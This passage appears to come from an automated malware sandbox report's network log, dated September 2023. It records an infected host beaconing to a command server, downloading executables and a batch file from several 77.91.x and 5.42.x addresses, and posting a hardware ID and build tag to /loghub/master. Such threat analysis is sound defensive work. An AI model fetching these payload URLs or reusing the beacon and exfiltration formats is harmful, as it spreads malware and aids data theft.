name="build"ZG9uaWVz--S2T2johILhNxP0GzGJDG--
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rfxxtg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ibrmk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: GET /new/foto7447.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 77.91.124.231
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sulblw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 212Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ljhprke.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 293Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: GET /smo/exto.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 77.91.124.231
Source: global traffic	HTTP traffic detected: POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=Ig2hclxJTbYUZoL241AMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 49 67 32 68 63 6c 78 4a 54 62 59 55 5a 6f 4c 32 34 31 41 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 4e 55 49 78 4e 7a 63 77 4d 54 46 45 4d 45 4d 78 4d 7a 55 78 4e 7a 6b 78 4e 54 59 78 4e 51 3d 3d 0d 0a 2d 2d 49 67 32 68 63 6c 78 4a 54 62 59 55 5a 6f 4c 32 34 31 41 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 63 33 56 72 59 57 67 3d 0d 0a 2d 2d 49 67 32 68 63 6c 78 4a 54 62 59 55 5a 6f 4c 32 34 31 41 4d 2d 2d 0d 0a Data Ascii: --Ig2hclxJTbYUZoL241AMContent-Disposition: form-data; name="hwid"NUIxNzcwMTFEMEMxMzUxNzkxNTYxNQ==--Ig2hclxJTbYUZoL241AMContent-Disposition: form-data; name="build"c3VrYWg=--Ig2hclxJTbYUZoL241AM--
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yjyrlfm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 293Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://unygw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 342Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: GET /fuza/2.bat HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 77.91.68.61
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yrhxhgujiv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 290Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://koqafyhg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: GET /rockss.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 5.42.65.80
Source: global traffic	HTTP traffic detected: POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=Zy9OZvxFrT3sPJTJKneSContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 5a 79 39 4f 5a 76 78 46 72 54 33 73 50 4a 54 4a 4b 6e 65 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 4e 55 49 78 4e 7a 63 77 4d 54 46 45 4d 45 4d 78 4d 7a 55 78 4e 7a 6b 78 4e 54 59 78 4e 51 3d 3d 0d 0a 2d 2d 5a 79 39 4f 5a 76 78 46 72 54 33 73 50 4a 54 4a 4b 6e 65 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 63 33 56 72 59 57 67 3d 0d 0a 2d 2d 5a 79 39 4f 5a 76 78 46 72 54 33 73 50 4a 54 4a 4b 6e 65 53 2d 2d 0d 0a Data Ascii: --Zy9OZvxFrT3sPJTJKneSContent-Disposition: form-data; name="hwid"NUIxNzcwMTFEMEMxMzUxNzkxNTYxNQ==--Zy9OZvxFrT3sPJTJKneSContent-Disposition: form-data; name="build"c3VrYWg=--Zy9OZvxFrT3sPJTJKneS--
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jfakwchofb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cpvmh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 358Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: GET /lend/stubweb3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 77.91.68.78
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ouvqb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cjbsku.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 157Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: GET /lend/d3xi5rws2ffuli.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 77.91.68.78
Source: global traffic	HTTP traffic detected: POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=Mo0TSuwY3ug7QKiiMsCEContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 4d 6f 30 54 53 75 77 59 33 75 67 37 51 4b 69 69 4d 73 43 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 4e 55 49 78 4e 7a 63 77 4d 54 46 45 4d 45 4d 78 4d 7a 55 78 4e 7a 6b 78 4e 54 59 78 4e 51 3d 3d 0d 0a 2d 2d 4d 6f 30 54 53 75 77 59 33 75 67 37 51 4b 69 69 4d 73 43 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 63 33 56 72 59 57 67 3d 0d 0a 2d 2d 4d 6f 30 54 53 75 77 59 33 75 67 37 51 4b 69 69 4d 73 43 45 2d 2d 0d 0a Data Ascii: --Mo0TSuwY3ug7QKiiMsCEContent-Disposition: form-data; name="hwid"NUIxNzcwMTFEMEMxMzUxNzkxNTYxNQ==--Mo0TSuwY3ug7QKiiMsCEContent-Disposition: form-data; name="build"c3VrYWg=--Mo0TSuwY3ug7QKiiMsCE--
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wthgnusaf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 218Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ifasstomb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rkuen.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 129Host: 77.91.68.29
Source: global traffic	HTTP traffic detected: GET /lend/clean.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 77.91.68.78
Source: global traffic	HTTP traffic detected: POST /fks/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://csdduql.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 304Host: 77.91.68.29

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:52:57 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 7Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 03 00 00 00 2d 20 55 Data Ascii: - U
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:52:57 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 49Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 74 61 82 c9 43 a2 93 72 96 b2 29 17 f9 14 b7 09 7f 99 0d d5 a3 7d ac eb Data Ascii: H>99$JYWtaCr)}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:13 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 403Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:14 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 45Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 74 61 82 c9 43 a2 93 72 8b ba 31 17 fa 03 b7 09 66 c8 41 87 Data Ascii: H>99$JYWtaCr1fA
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:17 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 403Keep-Alive: timeout=5, max=98Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:17 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 41Keep-Alive: timeout=5, max=97Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 04 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 73 6b 98 d1 40 be c4 28 82 b6 71 0a b1 19 a2 12 Data Ascii: H>99$JYWsk@(q
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:18 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 403Keep-Alive: timeout=5, max=96Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:19 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 40Keep-Alive: timeout=5, max=95Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c5 12 e1 5c a9 f8 70 7d 8e d7 5e e3 cd 3e 93 a4 2d 16 fa 03 a6 Data Ascii: H>99$JY\p}^>-
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:26 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 403Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:26 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 48Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 73 6b 98 d0 49 be ce 38 96 b3 71 4b eb 0e a1 11 2d cf 0a cc e8 60 b1 Data Ascii: H>99$JYWskI8qK-`
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:31 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 403Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:31 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 54Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 73 6b 98 d0 49 be ce 38 96 b3 71 5c ac 03 aa 53 3a da 4a d0 eb 7e a1 e2 ec 21 bb 8f 3f Data Ascii: H>99$JYWskI8q\S:J~!?
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:36 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 403Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 